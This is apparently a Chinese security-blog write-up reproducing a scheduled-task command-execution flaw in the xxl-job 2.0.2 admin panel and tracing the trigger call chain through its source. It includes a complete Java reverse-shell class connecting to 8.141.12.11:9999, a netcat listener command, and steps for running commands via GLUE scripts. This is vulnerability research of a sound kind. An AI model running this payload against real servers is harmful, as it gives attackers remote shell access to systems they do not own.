xxl-job漏洞复现与分析-后台计划任务执行漏洞

xiao1star2025-12-12文章来源:SecHub网络安全社区


xxl-job漏洞复现与分析-后台计划任务执行漏洞

测试环境

xxl_job_2.0.2

后台计划任务执行漏洞

漏洞复现

任务管理->新增任务

唯一要注意的是运行模式的选择,一般来说我们会选择Shell去执行一些linux下的命令,但是要注意有时xxl-job也可能是在Windows上,那么我们可以选择使用Powershell,本人是搭建在了Windows机器上就选择的是Powershell

image-20250724121620689

接着点击GLUE选项,进行脚本的编辑

image-20250724121959095

我们输入一个whoami,接着保存即可

image-20250724122101904

点击执行,然后来到如下页面直接点击保存

image-20250724122234070

接着来到调度日志,查看执行日志

image-20250724122508344

可以看到成功回显

image-20250724122550522

反弹shell

为了方便不管是linux还是windows都可以进行反弹shell,我们可以创建一个java的运行模式

image-20250724125603161

接着点击CLUE如下反弹shell的代码粘贴上去

import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; import java.net.Socket; public class reverse { class StreamConnector extends Thread { InputStream hx; OutputStream il; StreamConnector(InputStream hx, OutputStream il) { this.hx = hx; this.il = il; } public void run() { BufferedReader ar = null; BufferedWriter slm = null; try { ar = new BufferedReader(new InputStreamReader(this.hx)); slm = new BufferedWriter(new OutputStreamWriter(this.il)); char[] buffer = new char[8192]; int length; while ((length = ar.read(buffer, 0, buffer.length)) > 0) { slm.write(buffer, 0, length); slm.flush(); } } catch (Exception localException) {} try { if (ar != null) { ar.close(); } if (slm != null) { slm.close(); } } catch (Exception localException1) {} } } public reverse() { reverseConn("8.141.12.11:9999"); } public static void main(String[] args) { System.out.println("0"); } public void reverseConn(String ip) { String ipport = ip; try { String ShellPath; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { ShellPath = new String("/bin/sh"); } else { ShellPath = new String("cmd.exe"); } Socket socket = new Socket(ipport.split(":")[0], Integer.parseInt(ipport.split(":")[1])); Process process = Runtime.getRuntime().exec(ShellPath); new StreamConnector(process.getInputStream(), socket.getOutputStream()).start(); new StreamConnector(process.getErrorStream(), socket.getOutputStream()).start(); new StreamConnector(socket.getInputStream(), process.getOutputStream()).start(); } catch (Exception e) { e.printStackTrace(); } } }

在你的vpn上开启9999的监听

nc -lvvp 9999

接着执行,然后发现成功反弹

image-20250724131035839

注意在日志里面可能会显示调度失败但是没关系依旧可以成功反弹shell

漏洞分析

首先来到com/xxl/job/admin/controller/JobInfoController#triggerJob

image-20250724142227943

接着来到com/xxl/job/admin/core/thread/JobTriggerPoolHelper#trigger中在这调用了addTrigger方法

image-20250724142253707

接着来到com/xxl/job/admin/core/thread/JobTriggerPoolHelper#addTrigger方法中,在方法中首先是根据jobid值来判断使用快线程池还是慢线程池,接着就调用线程池的execute方法,其中调用了Runnable接口重写了run方法

image-20250724142639530

接着就来到com/xxl/job/admin/core/trigger/XxlJobTrigger#中,可以看到首先是根据jobid获取到jobInfo,这个里面就存储着相关的任务信息

image-20250724143604978

接着就来到com/xxl/job/admin/core/trigger/XxlJobTrigger#processTrigger中,可以看到在这个方法中获取就是一些日志的保存,然后通过jobInfo来设置Trigger中的相关参数然后就是地址的获取

image-20250724144259063

可以看到triggerParam中的内容就是之前Jobinfo相关的信息,而我们address就是我们本机ip加上执行器所开放的端口

image-20250724145045095

image-20250724144854884

接着就调用了runExecutor

image-20250724144453149

com/xxl/job/admin/core/trigger/XxlJobTrigger#runExecutor中首先是拿到对应 address的 ExecutorBiz 客户端代理,接着就调用其run方法发起真正的远程调用

image-20250724145340044

在这里可以看到使用的是动态代理来实现的

测试前所遇到的问题

执行器地址为空

image-20250724113258621

问题原因

来到执行管理器中,可以看到我们的注册方式为自动注册,但是Online机器地址并没有获取到

image-20250724113510704

正常情况如下所所示

image-20250724113816667

本人发现原来是自己的XxlJobExecutorApplication项目没有运行导致的,在运行完admin下的那个项目之后再运行该项目,然后注销账号重新登录即可

image-20250724120411996

参考解决方法XXL入门 执行器地址为空解决方法

running scripts is disabled on this system报错

本人在选择PowerShell的运行模式,然后执行脚本ipconfig脚本时,调度成功但是执行结果失败

image-20250724120936925

image-20250724121041161

image-20250724121108419

报错原因:Windows 执行器机器上的 PowerShell 执行策略(ExecutionPolicy) 默认为 Restricted,禁止任何脚本运行,于是 XXL-JOB 调度执行器调用 .ps1 时直接报错退出。

解决方法:在 执行器所在的 Windows 服务器 上,以 管理员身份 打开 PowerShell,执行

# 永久允许本地脚本运行(推荐)
Set-ExecutionPolicy RemoteSigned -Scope LocalMachine -Force

image-20250724121332251